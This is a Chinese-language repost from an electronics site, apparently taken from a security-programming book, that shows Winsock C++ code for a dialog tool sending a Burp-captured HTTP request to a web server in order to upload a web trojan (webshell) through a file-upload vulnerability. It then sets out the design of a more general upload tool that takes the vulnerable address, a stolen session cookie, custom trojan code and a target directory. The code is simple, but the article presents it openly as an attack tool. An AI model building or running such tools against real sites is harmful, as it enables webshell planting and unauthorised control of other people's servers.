《電子技術應用》
您所在的位置:首頁 > 通信與網(wǎng)絡 > 業(yè)界動態(tài) > 網(wǎng)絡安全編程:上傳網(wǎng)頁木馬

網(wǎng)絡安全編程:上傳網(wǎng)頁木馬

2021-07-13
來源:計算機與網(wǎng)絡安全
關鍵詞: 木馬

  上傳木馬的模塊可以通過直接發(fā)包達到上傳的效果,實現(xiàn)起來比較簡單,代碼如下:

  void CuploadmumaDlg::OnBnClickedButton1()

  {

  // TODO: 在此添加控件通知處理程序代碼

  WSAData wsa = { 0 };

  // 初始化

  WSAStartup(MAKEWORD(2, 2), &wsa);

  // 獲取 IP 地址

  DWORD dwIPAddr = 0;

  m_IpAddr.GetAddress(dwIPAddr);

  // 獲取端口號

  WORD dwPort = 0;

  dwPort = GetDlgItemInt(IDC_PORT);

  // 創(chuàng)建 SOCKET

  SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

  sockaddr_in sockaddr = { 0 };

  sockaddr.sin_family = AF_INET;

  sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);

  sockaddr.sin_port = htons(dwPort);

  // 連接服務器

  int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

  // 獲取從 BURP 截取的 HTTP 的 request 包

  char szText[2048] = { 0 };

  GetDlgItemText(IDC_TEXT, szText, 2048);

  // 發(fā)送包

  nRet = send(s, szText, lstrlen(szText), 0);

  closesocket(s);

  WSACleanup();

  }

  代碼的流程比較簡單,主要就是完成了與Web服務器的連接,然后發(fā)送通過Burp截取的數(shù)據(jù)內容,程序界面如圖1所示。

微信圖片_20210713142806.jpg

  圖1  發(fā)送木馬數(shù)據(jù)包上傳木馬

  該木馬發(fā)送程序比較簡陋,只是簡單地提交了對Web服務器請求的數(shù)據(jù)包。開發(fā)一個較為通用的木馬上傳工具,就不能這么偷懶了。首先,需要提取出存在上傳漏洞的地址,因為每個系統(tǒng)存在上傳漏洞的地址是不相同的,因此漏洞的地址必須能夠接收用戶的輸入。接著提取HTTP請求頭部中的“Cookie”部分,因為上傳木馬時可能需要登錄系統(tǒng)以后才能進行上傳,但是為什么發(fā)包的時候可以,因為數(shù)據(jù)包中有COOKIE,因此必須要能讓用戶輸入“cookie”,因為一般的上傳漏洞可能是論壇、博客等系統(tǒng),因此用戶可以自行登錄后,將cookie復制出來并粘貼到程序中。然后還有木馬的內容需要用戶自定義,那么程序界面上也需要留下輸入木馬的文本框,可以直接輸入木馬的代碼,也可以直接讓用戶輸入木馬的目錄,然后讓程序從文件中把木馬代碼讀出。有的上傳漏洞能夠讓用戶去控制上傳木馬后所在的目錄,那么還要給用戶一個可以設置上傳位置的輸入框。




電子技術圖片.png

本站內容除特別聲明的原創(chuàng)文章之外,轉載內容只為傳遞更多信息,并不代表本網(wǎng)站贊同其觀點。轉載的所有的文章、圖片、音/視頻文件等資料的版權歸版權所有權人所有。本站采用的非本站原創(chuàng)文章及圖片等內容無法一一聯(lián)系確認版權者。如涉及作品內容、版權和其它問題,請及時通過電子郵件或電話通知我們,以便迅速采取適當措施,避免給雙方造成不必要的經(jīng)濟損失。聯(lián)系電話:010-82306118;郵箱:aet@chinaaet.com。